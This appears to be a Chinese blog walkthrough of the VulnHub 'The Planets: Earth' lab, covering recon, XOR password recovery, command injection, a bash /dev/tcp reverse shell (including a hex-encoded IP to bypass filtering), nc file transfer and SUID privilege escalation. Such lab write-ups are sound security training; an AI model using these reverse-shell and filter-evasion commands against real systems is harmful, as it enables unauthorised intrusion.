当前位置:网站首页>vulnhub-The Planets: Earth
vulnhub-The Planets: Earth
2022-06-10 19:20:00 【大西瓜的安全之路】

靶机:The Planets: Earth ~ VulnHub
攻击机:
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux

信息收集
nmap 192.168.1.1/24

开放了22 80 443 继续探测端口详细信息。

又看到了python环境,那基本上就 CVE-2021-4034一打就死。

然后注意看这两个dns记录。
访问一下80和443


都是啥都没有,现在去hosts文件里添加一下这两dns记录。

正常访问

https://terratest.earth.local/

好像也没啥信息。扫描一下目录。
dirb http://earth.local/

发现了疑似登陆界面,

dirb https://terratest.earth.local/

这里发现也蛮多的。
访问robots.txt。

然后,最后一个disallow好像有点东西,但后缀是.*,貌似要加后缀
测试之后发现是txt的后缀

翻译一下

这里给出了三个点个点:
使用的是XOR加密算法
testdata.txt应该是密文。
terra应该是管理员账号。
下面的东西不重要了。
这里我们先搞出来testdata.txt文件。

这里看了大佬的解析,需要用到这里的message

然后与testdata.txt进行xor运算。
它的定义是:两个值相同时,返回false,否则返回true。也就是说,XOR可以用来判断两个值是否不同。
这里套用网上找到的运算脚本
运算后得到:
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
十六进制转文本:

一段重复的文本,密码貌似是我标记出来的部分,试试
earthclimatechangebad4humans

登陆成功

命令行注入。
然后找一下flag
查看一下

拿到flag
然后直接弹shell,使用nc。
nc -lvvp 4321
bash -i >& /dev/tcp/192.168.1.109/4321 0>&1

失败了,了解到这里需要将ip地址转化为16进制。
bash -i >& /dev/tcp/0xc0.0xa8.0x1.0x6d/4321 0>&1
十六进制是4位,转换器默认会把前几位置0的忽略掉,且只有首位置0其他位的0用x表示。

弹回shell,然后suid提权。

看到了一个这个文件
直接查看是乱码的,

使用
nc -lnvp 4321 > reset_root

nc -w 3 192.168.1.109 4321 < /usr/bin/reset_root


下载下来。

然后赋权
之前瞎折腾半天,都打不开,编辑不了。

看了大佬们的解题过程,要使用strace,
这里先安装,kali我是用
apt install strace

然后试试。

看到了no such file or directory,缺少三个文件。
创建试试,我用的是vim命令



然后执行./reset_root
提示root的密码改为了Earth
登陆一下。


拿到flag
边栏推荐
- 移动端渲染原理浅析
- After the college entrance examination, VR panoramic tour will show you the beautiful scenery of the scenic spot
- The team of nature biotechnol | Li Jiayang / Yu Hong used the tile deletion strategy to break the linkage of traits and break through the bottleneck of rice yield
- Spark ShuffleManager
- SBC芯片35584数据手册预调节器翻译
- 国家先进计算产业创新(宜昌)中心正式落地 中科曙光、升哲科技联合运营
- ESP8266 系统环境搭建
- When the college entrance examination is opened, VR panorama can see the test site in this way
- 腾讯云数据库TDSQL-大咖论道 | 基础软件的过去、现在、未来
- FPGA状态机
猜你喜欢

First batch! Sinomenine has passed CWPP capability assessment and inspection of Xintong Institute

How to use the low code platform of the Internet of things for worksheet management?

Zabbix_ Principle Architecture - installation and deployment - Custom monitoring

Rotated Sorted Array旋转排序数组相关题

测试apk-异常管控netLocation攻击者开发

安全隐患?意义有限?挡不住真煮迷你厨具火爆618

It is forbidden to throw away rotten software. A guide for software test engineers to advance from elementary level to advanced level will help you promote all the way

Key points of lldp protocol preparation

2022.05.28 (lc_5_longest palindrome substring)

2022.05.28 (lc_516_longest palindrome subsequence)
随机推荐
国家先进计算产业创新(宜昌)中心正式落地 中科曙光、升哲科技联合运营
How to realize face verification quickly and accurately?
VR全景作品中各式各样的嵌入功能是如何做到的?
身份识别与访问管理(IAM)
2022.05.27 (lc_647_palindrome substring)
20192407 2021-2022-2 《网络与系统攻防技术》实验八实验报告
网上开期货账户安全吗?如何避免被骗?
最近的工作
Tencent cloud database tdsql- a big guy talks about the past, present and future of basic software
After the college entrance examination, VR panoramic tour will show you the beautiful scenery of the scenic spot
Rotated sorted array
C (pointer 02)
FS4521恒压线性充电IC
Rmarkdown easily input mathematical formula
MBA-day21 线性规划问题
It is forbidden to throw away rotten software. A guide for software test engineers to advance from elementary level to advanced level will help you promote all the way
Mongodb 唯一索引
NFS network mount to create server image
C语言 浮点数 储存形式
2022.05.28 (lc_516_longest palindrome subsequence)